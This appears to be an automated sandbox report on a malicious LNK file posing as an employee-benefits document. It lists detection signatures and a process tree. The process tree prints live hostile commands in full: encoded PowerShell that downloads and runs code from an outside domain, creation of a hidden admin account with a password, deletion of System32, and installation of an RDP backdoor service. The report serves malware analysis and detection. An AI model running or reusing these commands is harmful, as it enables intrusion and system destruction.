Edit tour
Windows
Analysis Report
rs.lnk.d.lnk
Overview
General Information
| Sample name: | rs.lnk.d.lnkrenamed because original name is a hash value |
| Original sample name: | Detailed information on policy benefits and commission levels for employees after probationary period Storytailors.lnk.d.lnk |
| Analysis ID: | 1578266 |
| MD5: | f18867738a1c4a2825cec7b3419b36ec |
| SHA1: | 9ce7620e4967ea35e62d163a0256e847f5c2e14e |
| SHA256: | 8737bad2199dadda3be763c2bd85e24f4983b4e2794eabf596445ace110be37f |
| Tags: | 23-88-71-29akademiiiiiiii-onlinelnkuser-JAMESWT_MHT |
| Infos: |   |
 | |
Detection
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Windows shortcut file (LNK) starts blacklisted processes
AI detected suspicious sample
Allows multiple concurrent remote connection
Bypasses PowerShell execution policy
Encrypted powershell cmdline option found
Found suspicious powershell code related to unpacking or dynamic code loading
Loading BitLocker PowerShell Module
Modifies security policies related information
PowerShell case anomaly found
Powershell drops PE file
Queries memory information (via WMI often done to detect virtual machines)
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)
Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)
Reads the Security eventlog
Reads the System eventlog
Sigma detected: Invoke-Obfuscation STDIN+ Launcher
Sigma detected: PowerShell Base64 Encoded IEX Cmdlet
Sigma detected: Suspicious Encoded PowerShell Command Line
Sigma detected: Suspicious New Service Creation
Sigma detected: Suspicious PowerShell Encoded Command Patterns
Sigma detected: Suspicious PowerShell Invocations - Specific - PowerShell Module
Sigma detected: Suspicious PowerShell Parameter Substring
Suspicious powershell command line found
Uses known network protocols on non-standard ports
Uses regedit.exe to modify the Windows registry
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates or modifies windows services
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
PE file contains strange resources
Queries disk information (often used to detect virtual machines)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
cmd.exe (PID: 1308 cmdline: "C:\Window s\system32 \cmd.exe" /c "STarT /mIn "" po WeRSHEll - WiNdOwStYL e HiDDeN - enCoDEdCoM mANd "SQBF AFgAIAAoAF sAVABlAHgA VAAuAEUATg BjAG8AZABJ AG4AZwBdAD oAOgBVAFQA RgA4AC4ARw BlAHQAUwB0 AHIASQBOAG cAKAAoAEkA dwBSACAAIg BoAHQAdABw AHMAOgAvAC 8AYQBrAGEA ZABlAG0AaQ BpAGkAaQBp AGkAaQBpAC 4AbwBuAGwA aQBuAGUALw B0AC8ANgBk AGUAZgA2AD cAYgBkADUA OAAzADEAOA BhADUAOQAz ADgAMwBiAG IAMAA2ADkA MwA5ADUAYg A0ADkANwBi ADMAZQBkAG QANgA2ADkA NwA0AGMAYg AwADkAMAA3 ADAAYQA5AG UAZQA1AGQA OQA4AGYANQ BkADkAMABm ADAANQAiAC kALgBDAG8A TgBUAGUAbg BUAC4ARgBP AFIARQBhAG MASAAoAHsA JABfACAALQ BiAHgAbwBy ACAAMQB9AC kAKQApAA== "" && exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5000 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
powershell.exe (PID: 5720 cmdline: poWeRSHEll -WiNdOwSt YLe HiDDeN -enCoDEdC oMmANd "SQ BFAFgAIAAo AFsAVABlAH gAVAAuAEUA TgBjAG8AZA BJAG4AZwBd ADoAOgBVAF QARgA4AC4A RwBlAHQAUw B0AHIASQBO AGcAKAAoAE kAdwBSACAA IgBoAHQAdA BwAHMAOgAv AC8AYQBrAG EAZABlAG0A aQBpAGkAaQ BpAGkAaQBp AC4AbwBuAG wAaQBuAGUA LwB0AC8ANg BkAGUAZgA2 ADcAYgBkAD UAOAAzADEA OABhADUAOQ AzADgAMwBi AGIAMAA2AD kAMwA5ADUA YgA0ADkANw BiADMAZQBk AGQANgA2AD kANwA0AGMA YgAwADkAMA A3ADAAYQA5 AGUAZQA1AG QAOQA4AGYA NQBkADkAMA BmADAANQAi ACkALgBDAG 8ATgBUAGUA bgBUAC4ARg BPAFIARQBh AGMASAAoAH sAJABfACAA LQBiAHgAbw ByACAAMQB9 ACkAKQApAA ==" MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 3480 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 6392 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Version 5 .1 -s -NoL ogo -NoPro file MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 1248 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
WINWORD.EXE (PID: 368 cmdline: "C:\Progra m Files (x 86)\Micros oft Office \Root\Offi ce16\WINWO RD.EXE" /n "C:\Users \user\AppD ata\Local\ Temp\Detai led inform ation on p olicy bene fits and c ommission levels for employees after pro bationary period Sto rytailors. docx" /o " " MD5: 1A0C2C2E7D9C4BC18E91604E9B0C7678) - cmd.exe (PID: 6644 cmdline:
"C:\Window s\system32 \cmd.exe" /c start / min "" pow ershell.ex e -NoExit -WindowSty le Hidden -NoProfile -Executio nPolicy by pass -Enco dedCommand SQBFAFgAI AAoAFsAVAB lAHgAdAAuA EUAbgBjAG8 AZABpAG4AZ wBdADoAOgB VAFQARgA4A C4ARwBlAHQ AUwB0AHIAa QBuAGcAKAA oAEkAdwByA CAAIgBoAHQ AdABwADoAL wAvAGEAawB hAGQAZQBtA GkAaQBpAGk AaQBpAGkAa QAuAG8AbgB sAGkAbgBlA C8AdAAvAGY AZgA4ADQAN QA5ADQAOAB lAGUAMgBjA GMAYgBkAGE AMwAzAGEAY QBhAGYAMQA zAGUAYwA4A DcAMwBhADY AMgAxAGMAM QA5AGYAMAB lADkAYwA2A GMAYQAwADM AYgA3AGYAO AA1ADgANAA 4ADcAOQA4A DMAMwA1ADk ANQBiAGYAY gBiAGEAZAA yADAAMQBkA DEAMAAwADM AMgA4ADUAM wBjAGEAMQB mADkAZAAxA DMAMABmADE AZAAyADQAM wAyACIAKQA uAEMAbwBuA HQAZQBuAHQ ALgBGAG8Ac gBFAGEAYwB oACgAewAkA F8AIAAtAGI AeABvAHIAI AAxAH0AKQA pACkA MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 2136 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 5008 cmdline:
powershell .exe -NoEx it -Window Style Hidd en -NoProf ile -Execu tionPolicy bypass -E ncodedComm and SQBFAF gAIAAoAFsA VABlAHgAdA AuAEUAbgBj AG8AZABpAG 4AZwBdADoA OgBVAFQARg A4AC4ARwBl AHQAUwB0AH IAaQBuAGcA KAAoAEkAdw ByACAAIgBo AHQAdABwAD oALwAvAGEA awBhAGQAZQ BtAGkAaQBp AGkAaQBpAG kAaQAuAG8A bgBsAGkAbg BlAC8AdAAv AGYAZgA4AD QANQA5ADQA OABlAGUAMg BjAGMAYgBk AGEAMwAzAG EAYQBhAGYA MQAzAGUAYw A4ADcAMwBh ADYAMgAxAG MAMQA5AGYA MABlADkAYw A2AGMAYQAw ADMAYgA3AG YAOAA1ADgA NAA4ADcAOQ A4ADMAMwA1 ADkANQBiAG YAYgBiAGEA ZAAyADAAMQ BkADEAMAAw ADMAMgA4AD UAMwBjAGEA MQBmADkAZA AxADMAMABm ADEAZAAyAD QAMwAyACIA KQAuAEMAbw BuAHQAZQBu AHQALgBGAG 8AcgBFAGEA YwBoACgAew AkAF8AIAAt AGIAeABvAH IAIAAxAH0A KQApACkA MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 5060 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
sppsvc.exe (PID: 4720 cmdline: C:\Windows \system32\ sppsvc.exe MD5: 320823F03672CEB82CC3A169989ABD12)
- svchost.exe (PID: 6000 cmdline:
C:\Windows \System32\ svchost.ex e -k netsv cs -p -s B ITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
- svchost.exe (PID: 7628 cmdline:
C:\Windows \system32\ svchost.ex e -k netsv cs -p -s w lidsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
- svczHost.exe (PID: 7588 cmdline:
C:\Windows \Temp\svcz Host.exe n onbo1 akad emiiiiiiii .online 46 d578f8ebeb 0d298af9e0 abba20aa66 30bf759e37 8b0ee836f8 ea55b25f08 ca6ef7e5b6 0ff1b82b29 89e1649ba1 b04c MD5: A2B92A4EB02A185E863F4F17737A0CA7) - conhost.exe (PID: 7488 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 7360 cmdline:
"cmd.exe" /c del /q "C:\Window s \System3 2\*" & rmd ir "C:\Win dows \Syst em32" & rm dir "C:\Wi ndows \" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - cmd.exe (PID: 7748 cmdline:
"cmd.exe" /c sc quer y myRdpSer vice MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7684 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - sc.exe (PID: 7804 cmdline:
sc query m yRdpServic e MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - powershell.exe (PID: 6384 cmdline:
"powershel l.exe" -No Logo -NoPr ofile -Win dowStyle H idden -Exe cutionPoli cy bypass -EncodedCo mmand JABV AHMAZQByAG 4AYQBtAGUA IAA9ACAAIg BVAHMAZQBy ADEAIgA7AC QAcAB3AGQA IAA9ACAAIg AxADIAMwA0 ADUANgA3AD gAOQAhAEEA MQBhACIAOw AgACQAVQBz AGUAcgBQAG EAcgBhAG0A cwAgAD0AIA BAAHsAJwBO AGEAbQBlAC cAIAA9ACAA JABVAHMAZQ ByAG4AYQBt AGUAOwAgAC cAUABhAHMA cwB3AG8Acg BkACcAIAA9 ACAAKABDAG 8AbgB2AGUA cgB0AFQAbw AtAFMAZQBj AHUAcgBlAF MAdAByAGkA bgBnACAALQ BTAHQAcgBp AG4AZwAgAC QAcAB3AGQA IAAtAEEAcw BQAGwAYQBp AG4AVABlAH gAdAAgAC0A RgBvAHIAYw BlACkAOwAg ACcAUABhAH MAcwB3AG8A cgBkAE4AZQ B2AGUAcgBF AHgAcABpAH IAZQBzACcA IAA9ACAAJA B0AHIAdQBl AH0AOwBOAG UAdwAtAEwA bwBjAGEAbA BVAHMAZQBy ACAAQABVAH MAZQByAFAA YQByAGEAbQ BzADsAJABH AHIAbwB1AH AAUABhAHIA YQBtAHMAIA A9ACAAQAB7 ACcARwByAG 8AdQBwACcA IAA9ACAAJw BBAGQAbQBp AG4AaQBzAH QAcgBhAHQA bwByAHMAJw A7ACAAJwBN AGUAbQBiAG UAcgAnACAA PQAgACQAVQ BzAGUAcgBu AGEAbQBlAH 0AOwBBAGQA ZAAtAEwAbw BjAGEAbABH AHIAbwB1AH AATQBlAG0A YgBlAHIAIA BAAEcAcgBv AHUAcABQAG EAcgBhAG0A cwA7AA0ACg A= MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7832 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 5940 cmdline:
"cmd.exe" /c sc quer y myRdpSer vice MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 2284 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - sc.exe (PID: 7860 cmdline:
sc query m yRdpServic e MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - cmd.exe (PID: 7932 cmdline:
"cmd.exe" /c sc dele te "myRdpS ervice" & SC CREATE "myRdpServ ice" binpa th= "C:\Wi ndows\Temp \myRdpServ ice.exe no nbo1" star t= auto & net start "myRdpServ ice" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7916 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - sc.exe (PID: 356 cmdline:
sc delete "myRdpServ ice" MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - sc.exe (PID: 5824 cmdline:
SC CREATE "myRdpServ ice" binpa th= "C:\Wi ndows\Temp \myRdpServ ice.exe no nbo1" star t= auto MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - powershell.exe (PID: 7672 cmdline:
"powershel l.exe" -No Logo -NoPr ofile -Win dowStyle H idden -Exe cutionPoli cy bypass -EncodedCo mmand ZwBl AHQALQBzAG UAcgB2AGkA YwBlACAAIg BtAHkAUgBk AHAAUwBlAH IAdgBpAGMA ZQAiAA== MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7664 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- myRdpService.exe (PID: 1568 cmdline:
C:\Windows \Temp\myRd pService.e xe nonbo1 MD5: 5641F3A5B9787F23D3D34F0D9F791B7A) 
regedit.exe (PID: 4852 cmdline: "regedit.e xe" /e "C: \Windows\T emp\regBac kup.reg" " HKEY_LOCAL _MACHINE\S YSTEM\Curr entControl Set\Servic es\TermSer vice" MD5: 999A30979F6195BF562068639FFC4426) - powershell.exe (PID: 2436 cmdline:
"powershel l.exe" -Co mmand "sys teminfo | Select-Str ing \"OS N ame\",\"OS Version\" ;" MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 6824 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - systeminfo.exe (PID: 6588 cmdline:
"C:\Window s\system32 \systeminf o.exe" MD5: EE309A9C61511E907D87B10EF226FDCD) - cmd.exe (PID: 6088 cmdline:
/c powersh ell.exe -w hidden -n ologo -nop -ep bypas s -Encoded Command QQ BkAGQALQBU AHkAcABlAC AALQBBAHMA cwBlAG0AYg BsAHkATgBh AG0AZQAgAF MAeQBzAHQA ZQBtAC4AVw BpAG4AZABv AHcAcwAuAE YAbwByAG0A cwA7ACAAWw BTAHkAcwB0 AGUAbQAuAF cAaQBuAGQA bwB3AHMALg BGAG8AcgBt AHMALgBTAG MAcgBlAGUA bgBdADoAOg BBAGwAbABT AGMAcgBlAG UAbgBzACAA fAAgAEYAbw ByAEUAYQBj AGgALQBPAG IAagBlAGMA dAAgAHsAIA AiACQAKAAk AF8ALgBCAG 8AdQBuAGQA cwAuAFcAaQ BkAHQAaAAp AHgAJAAoAC QAXwAuAEIA bwB1AG4AZA BzAC4ASABl AGkAZwBoAH QAKQAiACAA fQAgAHwAIA BPAHUAdAAt AEYAaQBsAG UAIAAtAEYA aQBsAGUAUA BhAHQAaAAg ACIAQwA6AF wAVwBpAG4A ZABvAHcAcw BcAFQAZQBt AHAAXABkAH AAIgA= MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 6844 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 3536 cmdline:
powershell .exe -w hi dden -nolo go -nop -e p bypass - EncodedCom mand QQBkA GQALQBUAHk AcABlACAAL QBBAHMAcwB lAG0AYgBsA HkATgBhAG0 AZQAgAFMAe QBzAHQAZQB tAC4AVwBpA G4AZABvAHc AcwAuAEYAb wByAG0AcwA 7ACAAWwBTA HkAcwB0AGU AbQAuAFcAa QBuAGQAbwB 3AHMALgBGA G8AcgBtAHM ALgBTAGMAc gBlAGUAbgB dADoAOgBBA GwAbABTAGM AcgBlAGUAb gBzACAAfAA gAEYAbwByA EUAYQBjAGg ALQBPAGIAa gBlAGMAdAA gAHsAIAAiA CQAKAAkAF8 ALgBCAG8Ad QBuAGQAcwA uAFcAaQBkA HQAaAApAHg AJAAoACQAX wAuAEIAbwB 1AG4AZABzA C4ASABlAGk AZwBoAHQAK QAiACAAfQA gAHwAIABPA HUAdAAtAEY AaQBsAGUAI AAtAEYAaQB sAGUAUABhA HQAaAAgACI AQwA6AFwAV wBpAG4AZAB vAHcAcwBcA FQAZQBtAHA AXABkAHAAI gA= MD5: 04029E121A0CFA5991749937DD22A1D9)
- cleanup
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| hacktool_windows_moyix_creddump | creddump is a python tool to extract credentials and secrets from Windows registry hives. | @mimeframe |
| |
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
| |
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
| |
| hacktool_windows_moyix_creddump | creddump is a python tool to extract credentials and secrets from Windows registry hives. | @mimeframe |
| |
| hacktool_windows_moyix_creddump | creddump is a python tool to extract credentials and secrets from Windows registry hives. | @mimeframe |
|
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| hacktool_windows_moyix_creddump | creddump is a python tool to extract credentials and secrets from Windows registry hives. | @mimeframe |
|
System Summary |   |
|---|
| Source: | Author: Jonathan Cheong, oscd.community: | ||